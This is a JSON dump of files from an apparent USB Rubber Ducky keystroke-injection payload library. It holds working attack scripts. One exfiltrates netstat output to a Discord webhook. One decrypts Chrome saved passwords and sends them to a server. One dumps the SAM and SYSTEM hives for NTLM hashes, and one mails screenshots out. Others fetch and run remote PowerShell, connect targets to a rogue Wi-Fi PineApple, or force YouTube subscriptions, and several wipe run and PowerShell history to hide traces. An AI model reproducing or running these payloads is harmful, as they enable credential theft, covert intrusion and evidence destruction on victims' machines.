    "content": "\n# Discord send function\nfunction exfiltration () {\n\tparam(\n\t\t[Parameter (Mandatory = $true, Position=0)] [String]$command,\n\t\t[Parameter (Mandatory = $true, Position=1)] [String]$text\n\t)\n\t# Loop for Discord\n\t$ConstantLimitForRestMethod = 1999\n\t$TMP_Body = @{\n\t\t'username' = $command\n\t\t'content' = \"\"\n\t}\n\tfor($i = 0; $i -lt $text.Length; $i+=$ConstantLimitForRestMethod){\n\t\ttry {\n\t\t\t$TMP_Body = @{\n\t\t\t\t'username' = $command\n\t\t\t\t'content' = $text.Substring($i, $ConstantLimitForRestMethod)\n\t\t\t}\n\t\t} catch [ArgumentOutOfRangeException] {\n\t\t\tif($text.Length-$i -gt 0){\n\t\t\t\t$TMP_Body = @{\n\t\t\t\t'username' = $command\n\t\t\t\t'content' = $text.Substring($i, $text.Length-$i)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tInvoke-RestMethod -ContentType 'Application/Json' -Uri $discord -Method Post -Body ($TMP_Body | ConvertTo-Json)\n\t}\n}\n\n# send command format\nfunction send_command(){\n\tparam(\n\t\t[Parameter (Mandatory = $true, Position=0)] [String]$cmd\n\t)\n\t$out = Invoke-Expression $cmd\n\t(exfiltration $cmd [string]$out)\n}\n\n# Settings\nif ( $d -eq \"1\") {\n\t$cmd = \"netstat\"\n\t(send_command $cmd)\n}\nif ( $r -eq \"1\") {\n\t$cmd = \"netstat -r\"\n\t(send_command $cmd)\n}\nif ( $lc -eq \"1\") {\n\t$cmd = \"netstat -af\"\n\t(send_command $cmd)\n}\nif ( $ln -eq \"1\") {\n\t$cmd = \"netstat -an\"\n\t(send_command $cmd)\n}\nif ( $ac -eq \"1\") {\n\t$cmd = \"netstat -qf\"\n\t(send_command $cmd)\n}\nif ( $an -eq \"1\") {\n\t$cmd = \"netstat -qn\"\n\t(send_command $cmd)\n}\nif ( $o -eq \"1\") {\n\t$cmd = \"netstat -t\"\n\t(send_command $cmd)\n}\nif ( $p -ne \"\" ) {\n\t# format $proto=\"TCP\"\n\t$cmd = \"netstat -ps \" + $p\n\t(send_command $cmd)\n}\n\n# Clear the PowerShell command history\nClear-History"
  },
  {
    "path": "payloads/library/exfiltration/Windows-netstat/payload.txt",
    "content": "REM ###################################################################\nREM #                                                                 |\nREM # Title        : Windows-netstat-to-Discord-Exfiltration          |\nREM # Author       : Aleff                                            |\nREM # Version      : 1.0                                              |\nREM # Category     : Net, Exfiltration                                |\nREM # Target       : Windows 10-11                                    |\nREM #                                                                 |\nREM ###################################################################\n\nREM Title: Windows-netstat-to-Discord-Exfiltration\nREM Author: Aleff\nREM Description: Opens PowerShell hidden, grabs netstat status, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.\nREM Put 1 on the function that you want to active, else 0. Functions available:\nREM - default (simple 'netstat' command)\nREM - routing_table $r\nREM - listening_canonical $lc\nREM - listening_numerical $ln\nREM - all_canonical $ac\nREM - all_numerical $an\nREM - offload ot\nREM - proto $p \"<protocol>\"\nREM - - In this option you must put the protocol that you want to monitor, for example $p=\"TCP\" if you want to monitor TCP, else leave blank, so $p=\"\".\n\nREM Target: Windows 10-11 (PowerShell)\nREM Version: 1.0\nREM Category: Net, Exfiltration\nREM Requirements: Internet connection\nREM \n\nREM REQUIRED - Provide your Discord WEBHOOK\nDEFINE WEBHOOK https://discordapp.com/api/webhooks/<webhook_id>/<token>\n\nDELAY 2000\nGUI r\nDELAY 250\nDELETE\nSTRING powershell -w h -ep bypass $discord='\n\nSTRING WEBHOOK\n\nREM REQUIRED - Reply example.com with YOUR LINK. The Payload should be Windows-netstat.ps1\nDEFINE PAYLOAD example.com\nSTRING ';$d='1';$r='1';$lc='1';$ln='1';$ac='1';$an='1';$o='1';$p='TCP';irm PAYLOAD | iex\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/chrome-exfil/README.md",
    "content": "# Chrome saved-credentials exfiltration\n\nA script to exfiltrate Chrome browser credentials from a target. Entered\ninteractively to bypass a lot of PowerShell-related AV triggers.\n\nThe Chrome GET request exfil is low bandwidth, but shouldn't raise the same\nlevel of AV-detection alarm as Invoke-WebRequest.\n\n## Dependencies\n\n * Windows 10\n * PowerShell 5.1<br />\n   (or PowerShell 7.x if you want to capture post-Chrome-v80 passwords)\n * Chrome\n\n## Configuration\n\nChange `http://localhost:8000/` to match a target-accessible server you've set\nup.\n\n## Example execution\n\nPasswords stored in Chrome:\n\n![](img/chrome.png)\n\nDucky script running, with temporary Python server to capture the\nexfiltration:\n\n![](img/run.gif)\n\nThe base64 string sent to the server\n(`aHR0cHM6Ly9leGFtcGxlLmNvbS8sZXhhbXBsZV91c2VyMSxleEBtcGwzUEFTU3cwckQh`)\ndecodes to `https://example.com/,example_user1,ex@mpl3PASSw0rD!`.\n\n## Limitations\n\nThere are various limitations around maximum URL lengths, you may run in to\nthese with Chrome instances containing a lot of saved passwords. A ZIP\ncompression pass would probably resolve this, or multiple GET requests.\n\nI haven't tested this with Unicode passwords.\n\n## Credits\n\nThis script is based on the minification of my\n[chrome-decrypt.ps1](https://github.com/thisismyrobot/chrome-decrypt.ps1)\nscript, which itself built upon these projects:\n\n * https://github.com/p0z/CPD\n * https://github.com/ValterBricca/SQLite.Net-PCL\n * https://github.com/ericsink/SQLitePCL.raw\n * https://github.com/byt3bl33d3r/chrome-decrypter\n * https://github.com/agentzex/chrome_v80_password_grabber\n * https://github.com/0xfd3/Chrome-Password-Recovery\n"
  },
  {
    "path": "payloads/library/exfiltration/chrome-exfil/payload.txt",
    "content": "REM Title: Chrome Exfil\r\nREM Author: thisismyrobot\r\nREM Description: Opens PowerShell, grabs Chrome passwords, exfils via headless Chrome GET request.\r\nREM Target: Windows 10 (PowerShell + Chrome)\r\nREM Version: 1.0\r\nREM Category: Exfiltration\r\nDEFAULTDELAY 10\r\nDELAY 5000\r\nGUI r\r\nDELAY 250\r\nSTRING powershell\r\nENTER\r\nDELAY 2500\r\nSTRING pwsh\r\nENTER\r\nDELAY 2500\r\nSTRING $d=Add-Type -A System.Security\nENTER\r\nSTRING $p='public static'\nENTER\r\nSTRING $g=\"\"\")]$p extern\"\nENTER\r\nSTRING $i='[DllImport(\"winsqlite3\",EntryPoint=\"sqlite3_'\nENTER\r\nSTRING $m=\"[MarshalAs(UnmanagedType.LP\"\nENTER\r\nSTRING $q='(s,i)'\nENTER\r\nSTRING $f='(p s,int i)'\nENTER\r\nSTRING $z=$env:LOCALAPPDATA+'\\Google\\Chrome\\User Data'\nENTER\r\nSTRING $u=[Security.Cryptography.ProtectedData]\nENTER\r\nSTRING Add-Type \"using System.Runtime.InteropServices;using p=System.IntPtr;$p class W{$($i)open$g p O($($m)Str)]string f,out p d);$($i)prepare16_v2$g p P(p d,$($m)WStr)]string l,int n,out p s,p t);$($i)step$g p S(p s);$($i)column_text16$g p C$f;$($i)column_bytes$g int Y$f;$($i)column_blob$g p L$f;$p string T$f{return Marshal.PtrToStringUni(C$q);}$p byte[] B$f{var r=new byte[Y$q];Marshal.Copy(L$q,r,0,Y$q);return r;}}\"\nENTER\r\nSTRING $s=[W]::O(\"$z\\\\Default\\\\Login Data\",[ref]$d)\nENTER\r\nSTRING $l=@()\nENTER\r\nSTRING if($host.Version-like\"7*\"){$b=(gc \"$z\\\\Local State\"|ConvertFrom-Json).os_crypt.encrypted_key\nENTER\r\nSTRING $x=[Security.Cryptography.AesGcm]::New($u::Unprotect([Convert]::FromBase64String($b)[5..($b.length-1)],$n,0))}$_=[W]::P($d,\"SELECT*FROM logins WHERE blacklisted_by_user=0\",-1,[ref]$s,0)\nENTER\r\nSTRING for(;!([W]::S($s)%100)){$l+=[W]::T($s,0),[W]::T($s,3)\nENTER\r\nSTRING $c=[W]::B($s,5)\nENTER\r\nSTRING try{$e=$u::Unprotect($c,$n,0)}catch{if($x){$k=$c.length\nENTER\r\nSTRING $e=[byte[]]::new($k-31)\nENTER\r\nSTRING $x.Decrypt($c[3..14],$c[15..($k-17)],$c[($k-16)..($k-1)],$e)}}$l+=($e|%{[char]$_})-join''}\nENTER\r\nSTRING $r=[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(($l)-join','))\nENTER\r\nSTRING start-process \"chrome\" \"--headless http://localhost:8000/?$r\"\nENTER\r\nDELAY 1000\r\nSTRING exit\r\nENTER\r\nDELAY 250\r\nSTRING exit\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/exfiltration/iMessage-Data-Grabber/payload.txt",
    "content": "REM Title:         iMessage Data Grabber\nREM Description:   Sends any command output to an iMessage receiving number (this example grabs the devices IP)\nREM Author:        matthewkayne\nREM Category:      Exfiltration\nREM Target:        macOS (Terminal)\nREM Requires:      Device with iMessage to receive the data\n\n\nDELAY 1000\nGUI SPACE\nDELAY 400\nSTRING Terminal\nDELAY 200\nENTER\nDELAY 200\nREM Change this command inside the brackets to any command that outputs text to the terminal\nSTRING x=$(curl ifconfig.me)\nDELAY 200\nENTER\nDELAY 200\nREM Replace PHONE_NUMBER with your iMessage supported number (leave the @'s, they are required to run)\nSTRING osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@'\nDELAY 100\nENTER\nDELAY 200\nGUI w\nDELAY 200\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/ntlm_exfiltration/README.md",
    "content": "# Exfiltrate NTLM Hash - Windows ✅\n\nA script used to exfiltrate the NTLM hash on a Windows machine.\n\n## Description\n\nA script used to capture and exfiltrate the NTLM hash of a Windows machine. It utilizes PowerShell to retrieve the SAM and SYSTEM files, then sends them to a Discord webhook. These files can than be used to extract the NTLM hash of all users.\n\n### Settings\n\n* Set the Discord webhook URL\n* Ensure the webhook permissions are configured\n\n## Credits\n\n<h2 align=\"center\"> Luu176 </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/luu176\">\n        <img src=\"https://avatars.githubusercontent.com/u/112649910?v=4?raw=true\" width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/ntlm_exfiltration/payload.txt",
    "content": "EXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\nEND_EXTENSION\n\nDEFINE #DISCORD_WEBHOOK_URL DISCORD_WEBHOOK_URL_HERE\nGUI d\nDELAY 1000\nGUI r\nDELAY 1000\nSTRINGLN powershell Start-Process powershell -Verb runAs\nDELAY 3000\nLEFTARROW\nENTER\nDELAY 3000\nSTRINGLN C:\\Windows\\System32\\reg save HKLM\\SAM sam /y; C:\\Windows\\System32\\reg save HKLM\\SYSTEM system /y; Add-Type -AssemblyName \"System.Net.Http\"; $webhookUrl = \"#DISCORD_WEBHOOK_URL\"; $client = New-Object System.Net.Http.HttpClient; $fileStream1 = [System.IO.File]::OpenRead(\"sam\"); $fileContent1 = New-Object System.Net.Http.StreamContent($fileStream1); $content1 = New-Object System.Net.Http.MultipartFormDataContent; $content1.Add($fileContent1, \"file\", \"sam\"); $client.PostAsync($webhookUrl, $content1).Result; $fileStream1.Close(); $fileStream2 = [System.IO.File]::OpenRead(\"system\"); $fileContent2 = New-Object System.Net.Http.StreamContent($fileStream2); $content2 = New-Object System.Net.Http.MultipartFormDataContent; $content2.Add($fileContent2, \"file\", \"system\"); $client.PostAsync($webhookUrl, $content2).Result; $fileStream2.Close()\nDELAY 500\nGUI d\n"
  },
  {
    "path": "payloads/library/exfiltration/rickroll_terminal_payload/payload.txt",
    "content": "REM Title:\tmacOS rickroll with terminal payload\nREM Author:\tNils Streedain\nREM Description:Opens a rickroll in YouTube in full screen at maximum volume\nREM\t\tas a distraction while another command is run in terminal.\nREM\t\t(Replace terminalCommand with your own command)\nREM Target:\tmacOS 11.0+\nREM Version:\t1.0\nREM Category:\tExecution\nREM Source:\thttps://github.com/nilsstreedain/Ducky-Scripts/\n\nDELAY 100\nGUI SPACE\nDELAY 10\nSTRING terminal\nDELAY 100\nENTER\nDELAY 100\nSTRING open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'\nENTER\nDELAY 1000\nGUI TAB\nDELAY 10\nSTRING osascript -e 'set volume 7' && terminalCommand && killall Terminal\nENTER\nDELAY 500\nSTRING f\n"
  },
  {
    "path": "payloads/library/exfiltration/screenshot_exfil/payload.txt",
    "content": "REM Title: screenshot_exfil\nREM Author: the-jcksn\nREM Description: Creates zip folder of 5 most recent screenshots and sends them via outlook email.\nREM Target: Windows 10\nREM Version: 1.0\nREM Category: Exfiltration\n\nREM ~~~~ You must change the USER_EMAIL and USER_PASSWORD to your outlook credentials.\nREM ~~~~ Can exfil more than 5, but I chose 5 to keep file sizes low.\nREM ~~~~ Can exfil from directory other than screenshots by changing path on lines 18, 57, and 61.\nREM ~~~~ You might have to adjust the delays, depending on the target machine, but these worked ok for me.\nREM ~~~~ Use responsibly, and within the confines of the law.\n\nDELAY 2000\nGUI r\nDELAY 200\nREM navigating to the directory to exfil from - change the following if you do not want the latest screenshots\nSTRING %USERPROFILE%\\Pictures\\Screenshots\nENTER\nDELAY 150\nREM sorting the files by date\nMENU\nDELAY 150\nSTRING o\nDELAY 150\nDOWNARROW\nDELAY 150\nENTER\nDELAY 150\nREM selecting files to exfil, repeat this line if you want more than 5, but bear in mind this might impact some of the delays\nSHIFT RIGHTARROW\nSHIFT RIGHTARROW\nSHIFT RIGHTARROW\nSHIFT RIGHTARROW\nDELAY 150\nREM sending files to loot.zip\nMENU\nDELAY 150\nSTRING n\nDELAY 200\nDOWNARROW\nDELAY 150\nENTER\nDELAY 500\nSTRING loot\nENTER\nDELAY 150\nALT F4\nDELAY 150\nGUI r\nDELAY 150\nREM open powershell and send the email\nSTRING powershell\nENTER\nDELAY 500\nREM ~~~~~~~CHANGE THE USERNAME (3 times) AND PASSWORD (once) IN THE FOLLOWING~~~~~\nSTRING Send-MailMessage -From user@example.com -To user@example.com -Subject \"Photo loot\" -Body \"Please find attached your zip file\" -Attachment \"Pictures\\Screenshots\\loot.zip\" -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList user@example.com, (ConvertTo-SecureString -String \"supersecretpassword\" -AsPlainText -Force))\nENTER\nDELAY 500\nREM cleanup\nSTRING del Pictures\\Screenshots\\loot.zip\nENTER\nDELAY 150\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/general/-RD-PineApple/PineApple-KeyInjection.txt",
    "content": "\nREM     Title: PineApple\nREM     Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it\nREM     This version is a direct key stroke injection attack\nREM     Author: I am Jakoby\nREM     Target: Windows 10, 11\n\nDELAY 1000\n\nREM     If the wifi pineapple SSID is detected target PC will connect to it  \n\nGUI r \nDELAY 500\nSTRING powershell\nDELAY 500\nENTER\n\nDELAY 1000\n\nSTRING $profilefile=\"Home.xml\";\nSHIFT ENTER\nSTRING $SSID=\"PineApple\";\nSHIFT ENTER\nSTRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''\nSHIFT ENTER\nDELAY 500\nSTRING $xmlfile=\"<?xml version=\"\"1.0\"\"?>\nSHIFT ENTER\nSTRING <WLANProfile xmlns=\"\"http://www.microsoft.com/networking/WLAN/profile/v1\"\">\nSHIFT ENTER\nSTRING <name>$SSID</name>\nSHIFT ENTER\nSTRING <SSIDConfig>\nSHIFT ENTER\nSTRING <SSID>\nSHIFT ENTER\nSTRING <hex>$SSIDHEX</hex>\nSHIFT ENTER\nSTRING <name>$SSID</name>\nSHIFT ENTER\nSTRING </SSID>\nSHIFT ENTER\nSTRING </SSIDConfig>\nSHIFT ENTER\nSTRING <connectionType>ESS</connectionType>\nSHIFT ENTER\nSTRING <connectionMode>manual</connectionMode>\nSHIFT ENTER\nSTRING <MSM>\nSHIFT ENTER\nSTRING <security>\nSHIFT ENTER\nSTRING <authEncryption>\nSHIFT ENTER\nSTRING <authentication>open</authentication>\nSHIFT ENTER\nSTRING <encryption>none</encryption>\nSHIFT ENTER\nSTRING <useOneX>false</useOneX>\nSHIFT ENTER\nSTRING </authEncryption>\nSHIFT ENTER\nSTRING </security>\nSHIFT ENTER\nSTRING </MSM>\nSHIFT ENTER\nSTRING </WLANProfile>\nSHIFT ENTER\nSTRING \"\nSHIFT ENTER\nSTRING $XMLFILE > ($profilefile)\nSHIFT ENTER\nSTRING netsh wlan add profile filename=\"$($profilefile)\"\nSHIFT ENTER\nSTRING netsh wlan connect name=$SSID\nSHIFT ENTER\nSTRING reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath\n\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/general/-RD-PineApple/PineApple.ps1",
    "content": "$profilefile=\"Home.xml\"\n$SSID=\"PineApple\"\n$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''\n$xmlfile=\"<?xml version=\"\"1.0\"\"?>\n<WLANProfile xmlns=\"\"http://www.microsoft.com/networking/WLAN/profile/v1\"\">\n<name>$SSID</name>\n<SSIDConfig>\n<SSID>\n<hex>$SSIDHEX</hex>\n<name>$SSID</name>\n</SSID>\n</SSIDConfig>\n<connectionType>ESS</connectionType>\n<connectionMode>manual</connectionMode>\n<MSM>\n<security>\n<authEncryption>\n<authentication>open</authentication>\n<encryption>none</encryption>\n<useOneX>false</useOneX>\n</authEncryption>\n</security>\n</MSM>\n</WLANProfile>\n\"\n$XMLFILE > ($profilefile)\nnetsh wlan add profile filename=\"$($profilefile)\"\nnetsh wlan connect name=$SSID\n\n#----------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n"
  },
  {
    "path": "payloads/library/general/-RD-PineApple/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# PineApple\n\nA script used to connect a targets PC to your wifi PineApple\n\n## Description\n\nThis program will generate an XML file that will be used to create a network profile for your Wifi PineApple. \nThe XML file will be manually entered into a powershell window \nthe powershell window and run box will be erased for a clean exit. \n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* The entire script will be manually entered into the powershell window \n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-PineApple)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/general/-RD-PineApple/payload.txt",
    "content": "REM     Title: OMG-PineApple\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it\nREM     This version of the payload is executed using an invoke web-request to download and execute the file to add the PineApple's network profile\nREM     The powershell script needed is provided as OMG-PineApple.ps1\n\nREM     Target: Windows 10, 11\n\nREM     Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n"
  },
  {
    "path": "payloads/library/general/-RD-Subscribe/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Subscribe\n\nA script I put together to make your target subscribe to your youtube channel\n\n## Description\n\nThis script is set to open your youtube account in their browser where they will be prompted to subscribe to you. \nSPOILER: They do.\n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n* Your target will have to be signed into their youtube account\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* 15 seconds later you have a new subscriber\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-Subscribe)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/general/-RD-Subscribe/Subscribe.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : Subscribe         | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : General           | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 10,11     |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n.DESCRIPTION \n\tThis program is designed to get your target to subscribe to your youtube channel\n#>\n#############################################################################################################################################\n\n# Enter your youtube channel URL here, but you should test this script with my URL first ;D\n\n$channel = \"https://www.youtube.com/iamjakoby\"\n\nAdd-Type -AssemblyName System.Windows.Forms\n$o=New-Object -ComObject WScript.Shell\n$url = -join($channel,\"?sub_confirmation=1\")\nStart-Process $url \nStart-Sleep -Seconds 3\n[System.Windows.Forms.SendKeys]::SendWait('{TAB}'*2)\n[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')\nStart-Sleep -Seconds 1\n[System.Windows.Forms.SendKeys]::SendWait('%{F4}')\n"
  },
  {
    "path": "payloads/library/general/-RD-Subscribe/Subscribe.txt",
    "content": "REM Title: OMG-Subscribe\r\nREM Description: This payload is meant to get the owner of the target PC to subscribe to your youtube channel\r\nREM Author: I am Jakoby\r\nREM Target: Windows 10, 11\r\n\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -Exec Bypass Start-Process \"\r\n\r\nREM put your youtube link here, you should test it out with mine first though ;D \r\nSTRING https://www.youtube.com/iamjakoby\r\n\r\nSTRING ?sub_confirmation=1\"\r\nDELAY 500\r\nENTER \r\nDELAY 3000\r\nTAB\r\nDELAY 1000\r\nTAB\r\nDELAY 1000\r\nENTER\r\nDELAY 500\r\nALT F4\r\nDELAY 1000\r\nGUI r\r\nDELAY 500\r\n\r\nREM This will clear their powershell and runbox history\r\n\r\nSTRING powershell -w h -NoP -NonI -Exec Bypass reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath\r\nDELAY 500\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/general/-RD-Subscribe/payload.txt",
    "content": "REM     Title: Subscribe\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to make your target subscribe to your youtube channel\n\nREM     Target: Windows 10, 11\n\nREM     Remember to replace the link with your link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n"
  },
  {
    "path": "payloads/library/general/1_Script_to_Rule_Them_All/ReadMe.md",
    "content": "## 1 Script to Rule Them All\n\nThe purpose of this frankenstein mess is to use OS detection to run conditional code after, specific to the OS.\n\nIt differs from just combining the two extensions in very few ways, but there are slight improvement tweaks from my own testing (hence the new name to avoid conflicts) and more documentation on the process within.\n"
  },
  {
    "path": "payloads/library/general/1_Script_to_Rule_Them_All/payload.txt",
